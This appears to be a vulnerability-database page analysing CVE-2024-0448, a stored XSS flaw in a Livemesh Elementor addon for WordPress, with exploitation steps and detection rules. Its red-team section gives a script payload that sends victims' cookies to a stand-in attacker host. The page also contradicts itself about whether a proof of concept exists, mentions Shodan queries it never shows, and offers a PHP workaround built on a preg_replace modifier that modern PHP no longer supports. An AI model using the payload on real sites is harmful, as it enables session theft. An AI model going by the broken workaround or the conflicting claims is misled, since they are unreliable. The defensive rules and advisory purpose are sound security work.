CVE-2024-0448
Executive Summary
CVE-2024-0448 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.1. The flaw resides in insufficient input sanitization and output escaping of widget URL parameters, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at the time of analysis. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: Required (victim must visit injected page)
- Scope: Changed (impact may extend beyond vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the attack surface. However, successful exploitation can lead to persistent compromise of affected WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the Elementor Addons by Livemesh plugin, specifically in how it handles URL parameters for its widgets. The plugin fails to properly sanitize user-supplied input and escape output when rendering widget URLs. This allows an authenticated attacker with Contributor-level or higher privileges to inject malicious JavaScript code into a page or post via the widget's URL parameter fields.
When a victim (including site administrators or visitors) accesses the compromised page, the injected script executes in their browser context. This can be used to:
- Steal session cookies
- Perform actions on behalf of the victim (e.g., creating admin accounts)
- Deface the site
- Redirect users to malicious sites
The vulnerability is classified as Stored XSS because the malicious payload is permanently stored on the server and executed each time the page is loaded.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described generically. The plugin likely uses functions like esc_url() or sanitize_text_field() incorrectly, or omits them entirely for widget URL parameters.
Vulnerable Code (Conceptual):
// In a widget render method
$url = $_GET['url']; // Directly using user input without sanitization
echo '<a href="' . $url . '">Link</a>'; // No output escaping
Patched Code (Expected):
// Proper sanitization and escaping
$url = esc_url_raw($_GET['url']); // Sanitize URL
echo '<a href="' . esc_url($url) . '">Link</a>'; // Escape output
The patch should ensure all widget URL parameters are sanitized with esc_url_raw() and output-escaped with esc_url().
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Elementor Addons by Livemesh <= 8.3.1
- Authenticated user with Contributor role or higher
- Elementor page builder enabled
Exploitation Steps:
- Log in as a Contributor-level user.
- Create a new page or edit an existing one using Elementor.
- Add a Livemesh widget that accepts a URL parameter (e.g., a button or link widget).
- In the URL field, inject a malicious JavaScript payload, such as:
or a more sophisticated payload:javascript:alert(document.cookie)"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save and publish the page.
- When an administrator or visitor accesses the page, the script executes.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team
Detection & Prevention:
- Monitor for unusual widget URL parameters containing script tags or event handlers.
- Implement Web Application Firewall (WAF) rules to block common XSS patterns.
- Restrict Contributor-level access to trusted users only.
- Regularly audit plugin code for security flaws.
Hunting Queries:
- Search WordPress database for posts/pages containing
<script>tags in widget metadata. - Monitor server logs for requests to pages with suspicious URL parameters.
Indicators of Compromise (IOCs)
File Indicators:
- Modified plugin files in
/wp-content/plugins/livemesh-elementor-addons/ - Suspicious entries in
wp_postsorwp_postmetatables containing JavaScript payloads
- Modified plugin files in
Network Indicators:
- Outbound connections to known malicious domains from WordPress admin pages
- HTTP requests containing XSS payloads in URL parameters
Behavioral Indicators:
- Unexpected creation of admin-level user accounts
- Unauthorized changes to site content or settings
- Alerts from security plugins (e.g., Wordfence) for XSS attempts
Detection Engineering
YARA Rule
rule CVE_2024_0448_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Livemesh Elementor Addons plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-0448"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: CVE-2024-0448 Stored XSS in Livemesh Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via widget URL parameters in Livemesh Elementor Addons plugin
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-0448
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'javascript:'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0448 Stored XSS in Livemesh Elementor Addons"; flow:to_server,established; content:"/wp-admin/"; http_uri; content:"post.php"; http_uri; pcre:"/(<script|javascript:|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by Livemesh.
- Restrict Contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-term Fix:
- Monitor the Livemesh plugin repository for an official patch (version > 8.3.1).
- Apply the patch as soon as it becomes available.
- Conduct a security audit of all WordPress plugins in use.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for XSS.
- Manually sanitize widget URL parameters by adding custom code to the theme's
functions.php:add_filter('elementor/widget/render_content', function($content) { // Sanitize all URLs in widget output $content = preg_replace('/href=["\']([^"\']*)["\']/e', 'esc_url("$1")', $content); return $content; });
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.